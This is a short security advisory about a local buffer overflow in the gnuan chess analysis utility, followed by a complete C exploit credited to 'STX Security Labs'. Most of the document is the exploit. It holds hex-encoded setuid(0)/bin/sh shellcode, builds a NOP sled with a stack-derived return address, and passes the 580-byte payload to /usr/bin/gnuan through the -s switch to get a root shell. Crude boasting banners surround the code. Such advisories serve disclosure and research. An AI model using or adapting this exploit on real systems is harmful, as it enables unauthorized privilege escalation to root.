source: http://www.securityfocus.com/bid/8099/info

A local buffer overflow has been reported for GNU an that may result in an attacker potentially obtaining elevated privileges.

The vulnerability exists due to insufficient boundary checks performed on some commandline options. Successful exploitation may result in the execution of attacker-supplied code. Privilege escalation may be possible on systems where the utility is installed setuid/setgid.

/*

  STX SECURITY LABS:
 
  5358gnuanx0r.c - x86 local buffer overflow exploit
  proof of concept code by: ace [ ace@static-x.org ]
  vulnerability discovered by: t0asty [ t0asty@static-x.org ]
 
  Description:
 
  gnuan produces an analysis of a chess game. For each move it shows the move,
  the score and the principle variation selected by gnuchess.

  Vulnerability:

  A buffer overflow vulnerability is present in gnuan.
  A segmentation fault occurs when 580 bytes of data are sent to
  the binary using the -s switch. The data overwrites the EIP therefore
  it allows us to control the pointer, allowing us to execute code.
  
  Versions vulnerable:

  [-] All versions are believed to be vulnerable.
      Tested on: Red Hat 7.3 with the latest version.

  ************************************************
  * Note: gnuan may not be suid on all systems.  *
  ************************************************

  StTtTTtTtTTtTtTTtTtTTtTtTTtTttTtTtTTtTtTTS
  X                                        X
  X STX ONLINE [ www.static-x.org ]        X
  X                                        X
  StTtTTtTtTTtTtTTtTtTTtTtTTtTttTtTtTTtTtTTS
 
  ************************************************
  * Note: our pen0rs are 50 x larger than yours. *
  ************************************************
 
*/

#include <stdio.h>

char stxcode[] =

     /* ace's shellcode [ ace@static-x.org ] (setuid=0,/bin/sh) */
     "\x31\xdb\x89\xd8\xb0\x17\xcd\x80\xeb\x03\x5e\xeb\x05\xe8\xf8\xff"
     "\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x50\x80\x36\x01\x46\xe2\xfa\xea"
     "\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01\x54"
     "\x88\xe4\x82\xed\x11\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xb6"
     "\x11\x01\x01\x8c\xb2\x2f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01"
     "\x88\x74\xf9\x8c\x4c\xf9\x30\xd3\xb9\x0a\x01\x01\x01\x52\x88\xf2"
     "\xcc\x81\x5a\x5f\xc8\xc2\x91\x91\x91\x91\x91\x91\x91\x91\x91";


unsigned long pen0r(void) 

{
 __asm__("movl %esp, %eax");
}

int main(int argc, char **argv) {
 
 int pos; int ace = pen0r(); int stxnop = 0x90;
 int stxbytes = 576; int stxtotal = stxbytes + 4;
 char *stxbof;
 stxbof = (char *)malloc(stxbytes); 

 for(pos = 0; pos < stxbytes; pos++) {*(long *)&stxbof[pos] = stxnop;}
 *(long *)&stxbof[stxbytes] = pen0r();
 memcpy(stxbof + stxbytes - strlen(stxcode), stxcode, strlen(stxcode));

 system("clear");
 printf("#####################################\n");
 printf("#        [ STX SECURITY LABS ]      #\n");
 printf("#  gnuan local poc exploit by: ace  #\n");
 printf("#####################################\n\n");
 printf("[+] Return Address: 0x%x\n", ace);
 printf("[+] Buffer Size: %d\n", stxtotal);
 printf("[-] /usr/bin/gnuan -s pwned!\n\n");

 execl("/usr/bin/gnuan", "gnuan", "-s", stxbof, NULL);

return 0;

}